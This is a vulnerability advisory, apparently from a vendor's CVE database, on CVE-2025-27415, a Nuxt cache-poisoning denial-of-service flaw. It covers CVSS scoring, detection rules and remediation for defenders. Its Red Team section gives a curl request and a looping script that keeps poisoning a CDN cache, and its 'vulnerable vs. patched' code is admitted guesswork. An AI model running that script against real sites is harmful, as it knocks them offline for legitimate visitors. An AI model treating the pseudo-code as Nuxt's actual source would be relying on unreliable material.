CVE-2025-27415
Executive Summary
CVE-2025-27415 is a high-severity cache poisoning vulnerability affecting Nuxt.js, an open-source Vue.js web development framework. An unauthenticated attacker can craft a malicious HTTP request to a Nuxt site behind a Content Delivery Network (CDN). By appending a query string like ?/_payload.json, the server may render a JSON response. If the CDN caches based on the path and ignores the query string, this JSON response can be served to subsequent visitors, effectively poisoning the cache and making the site unavailable. This attack can be automated to maintain permanent denial of service. The vulnerability is fixed in Nuxt 3.16.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Nuxt is distributed via the npm registry. The vulnerable package is nuxt. Organizations should verify their package.json and package-lock.json files to ensure they are not pinned to a vulnerable version. The fix was introduced in version 3.16.0. All prior versions are affected.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector (AV): Network – the attack is performed remotely.
- Attack Complexity (AC): Low – no special conditions are required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): None – no user action required.
- Scope (S): Unchanged – the vulnerable component is the only one affected.
- Confidentiality (C): None – no data exposure.
- Integrity (I): None – no data modification.
- Availability (A): High – the attack can cause a complete denial of service.
Deep Dive & Mechanics
The vulnerability lies in how Nuxt handles requests with specific query strings. When a request like https://mysite.com/?/_payload.json is made, Nuxt's server-side rendering logic may interpret the query string as a route and render a JSON payload response instead of the normal HTML page. This behavior is intended for internal API calls but is not properly restricted.
The attack chain is as follows:
- The attacker sends a crafted request to the target Nuxt site behind a CDN.
- The CDN forwards the request to the origin server.
- The Nuxt server processes the request and returns a JSON response (e.g.,
{"error": "not found"}or similar). - The CDN caches this response because it sees a valid HTTP 200 response.
- Subsequent visitors to the site receive the cached JSON response instead of the actual HTML page, resulting in a denial of service.
The attack is particularly effective if the CDN ignores query strings when caching (common with many CDN configurations). The attacker can automate the process by sending the malicious request at intervals equal to the CDN's cache TTL, ensuring permanent cache poisoning.
Vulnerable vs. Patched Code
Vulnerable (Nuxt < 3.16.0): The vulnerable code likely resides in the request handling middleware that processes query strings. A simplified representation:
// Vulnerable pseudo-code
app.use((req, res, next) => {
if (req.query._payload) {
// Directly render JSON payload without checking if it's an internal request
res.json({ data: "payload" });
} else {
next();
}
});
Patched (Nuxt 3.16.0):
The fix introduces validation to ensure that the _payload query parameter is only processed for internal requests (e.g., from the Nuxt dev server or specific internal routes). External requests with this parameter are ignored or redirected.
// Patched pseudo-code
app.use((req, res, next) => {
if (req.query._payload && req.headers['x-internal'] === 'true') {
res.json({ data: "payload" });
} else {
next();
}
});
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Nuxt site (version < 3.16.0) behind a CDN that caches based on path only (ignoring query strings).
- Example: Cloudflare, Akamai, or similar.
Exploit Steps:
- Identify the target Nuxt site (e.g.,
https://target.com). - Send a crafted request:
curl -v "https://target.com/?/_payload.json" - Observe the response. If it returns JSON (e.g.,
{}or{"error":"not found"}), the site is vulnerable. - To automate cache poisoning, use a simple script:
while true; do curl -s -o /dev/null "https://target.com/?/_payload.json" sleep 300 # Adjust based on CDN cache TTL done
Expected Outcome: The site becomes unavailable to legitimate users, serving JSON instead of HTML.
Blue Team (Detection & Response)
Detection:
- Monitor for requests containing
?/_payload.jsonor similar query strings. - Look for a high volume of requests with unusual query parameters.
- Check CDN logs for cache hit ratios dropping or unusual response content types.
Response:
- Immediately upgrade Nuxt to version 3.16.0 or later.
- If immediate upgrade is not possible, configure the CDN to not cache responses with specific query strings.
- Implement a Web Application Firewall (WAF) rule to block requests containing
/_payload.jsonin the query string.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests with query string
?/_payload.jsonor similar variations. - Responses with
Content-Type: application/jsonfor normally HTML pages. - Unusual cache hit ratios on CDN dashboards.
- HTTP requests with query string
File IOCs:
- N/A (no file-based indicators).
Log IOCs:
- Web server logs showing
GET /?/_payload.json HTTP/1.1with 200 response codes. - CDN logs showing cached responses for paths that should not be cached.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_27415_Nuxt_Cache_Poisoning {
meta:
description = "Detects HTTP requests targeting Nuxt cache poisoning vulnerability"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-27415"
strings:
$query = "/?/_payload.json"
$query2 = "?_payload.json"
condition:
any of them
}
Sigma Rule
title: Nuxt Cache Poisoning Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with query string indicating Nuxt cache poisoning (CVE-2025-27415)
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "/?/_payload.json"
condition: selection
falsepositives:
- Legitimate internal API calls (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-27415 Nuxt Cache Poisoning Attempt"; flow:to_server; http.uri; content:"/?/_payload.json"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Remediation:
- Upgrade Nuxt to version 3.16.0 or later. This is the only complete fix.
npm install nuxt@3.16.0
Mitigation (if upgrade is not possible):
- Configure the CDN to not cache responses based on query strings, or to invalidate cache for paths containing
_payload.json. - Implement a WAF rule to block requests with
/_payload.jsonin the query string. - Add a server-side check to reject requests with unexpected query parameters.
Long-term Prevention:
- Regularly update dependencies, especially web frameworks.
- Implement strict input validation for all query parameters.
- Use CDN configurations that consider query strings in cache keys.
Valters IT
Securing Digital Frontiers